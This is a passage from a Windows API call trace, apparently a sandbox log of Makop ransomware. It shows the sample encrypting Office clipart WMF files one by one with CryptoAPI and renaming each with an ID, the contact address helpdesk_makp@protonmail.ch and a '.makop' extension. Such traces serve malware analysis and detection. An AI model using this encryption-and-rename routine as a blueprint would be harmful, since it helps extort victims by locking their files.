[0132.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.070] GetProcessHeap () returned 0x48a0000 [0132.070] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.070] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.070] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.070] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.074] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.074] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.074] GetProcessHeap () returned 0x48a0000 [0132.074] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.074] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.074] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.074] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.074] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.074] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.075] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.075] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.075] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.075] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.075] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.075] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.075] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d3c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d3c, lpOverlapped=0x0) returned 1 [0132.077] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d40, dwBufLen=0x1d40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d40) returned 1 [0132.077] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.077] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1d40, lpOverlapped=0x0) returned 1 [0132.077] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.077] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.077] SetEndOfFile (hFile=0xf0) returned 1 [0132.083] GetProcessHeap () returned 0x48a0000 [0132.083] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.083] GetProcessHeap () returned 0x48a0000 [0132.083] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.084] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.085] CloseHandle (hObject=0xf0) returned 1 [0132.085] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238983.WMF", cAlternateFileName="")) returned 1 [0132.085] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF") returned 63 [0132.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.086] GetProcessHeap () returned 0x48a0000 [0132.086] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.086] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.086] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.087] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.090] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.090] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.090] GetProcessHeap () returned 0x48a0000 [0132.090] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.090] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.090] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.090] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.091] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.091] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.091] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.091] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.091] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.091] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.091] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.091] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.092] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13b8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x13b8, lpOverlapped=0x0) returned 1 [0132.093] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13c0, dwBufLen=0x13c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x13c0) returned 1 [0132.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.093] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x13c0, lpOverlapped=0x0) returned 1 [0132.094] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.094] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.094] SetEndOfFile (hFile=0xf0) returned 1 [0132.100] GetProcessHeap () returned 0x48a0000 [0132.100] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.101] GetProcessHeap () returned 0x48a0000 [0132.101] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.101] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.101] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.102] CloseHandle (hObject=0xf0) returned 1 [0132.102] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1284, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239057.WMF", cAlternateFileName="")) returned 1 [0132.102] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF") returned 63 [0132.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.103] GetProcessHeap () returned 0x48a0000 [0132.103] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.103] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.104] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.104] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0132.107] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.107] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.107] GetProcessHeap () returned 0x48a0000 [0132.108] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.108] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.108] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.108] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.108] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.108] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.108] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.108] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.108] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.108] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.109] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.109] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.109] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1284, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1284, lpOverlapped=0x0) returned 1 [0132.120] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1290, dwBufLen=0x1290 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1290) returned 1 [0132.120] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.121] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1290, lpOverlapped=0x0) returned 1 [0132.121] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.121] SetEndOfFile (hFile=0xf0) returned 1 [0132.126] GetProcessHeap () returned 0x48a0000 [0132.126] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.127] GetProcessHeap () returned 0x48a0000 [0132.127] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.127] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.127] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.128] CloseHandle (hObject=0xf0) returned 1 [0132.128] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239063.WMF", cAlternateFileName="")) returned 1 [0132.128] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF") returned 63 [0132.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0132.130] GetProcessHeap () returned 0x48a0000 [0132.130] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0132.130] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0132.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0132.130] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.134] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.134] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.134] GetProcessHeap () returned 0x48a0000 [0132.134] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0132.134] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0132.135] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.135] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0132.135] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0132.135] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0132.135] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0132.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0132.135] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0132.136] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0132.136] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0132.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.136] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16fc, lpOverlapped=0x0) returned 1 [0132.138] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1700, dwBufLen=0x1700 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1700) returned 1 [0132.138] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.138] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1700, lpOverlapped=0x0) returned 1 [0132.138] CryptDestroyKey (hKey=0x48c7128) returned 1 [0132.138] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.138] SetEndOfFile (hFile=0xf0) returned 1 [0132.144] GetProcessHeap () returned 0x48a0000 [0132.144] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0132.144] GetProcessHeap () returned 0x48a0000 [0132.144] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0132.144] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0132.145] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0132.146] CloseHandle (hObject=0xf0) returned 1 [0132.146] FindNextFileW (in: hFindFile=0x48c70e8, 